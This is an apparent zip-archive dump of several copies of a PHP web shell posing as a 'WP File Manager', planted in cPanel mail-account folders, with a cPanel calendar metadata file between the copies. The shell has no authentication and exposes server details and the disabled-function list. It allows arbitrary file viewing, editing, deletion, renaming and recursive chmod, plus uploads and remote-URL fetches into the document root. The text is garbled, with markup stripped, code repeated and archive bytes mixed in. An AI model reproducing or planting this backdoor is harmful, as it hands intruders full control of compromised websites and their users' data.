📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëinfo@mejdisadiku.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]õÜßIBBweb@tali-ks.com/.metadatanu„[µü¤[addressbook] displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 type VADDRESSBOOK [calendar] type VCALENDAR description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c protected 1 PK“&{]„N9³§Ë§Ëweb@tali-ks.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
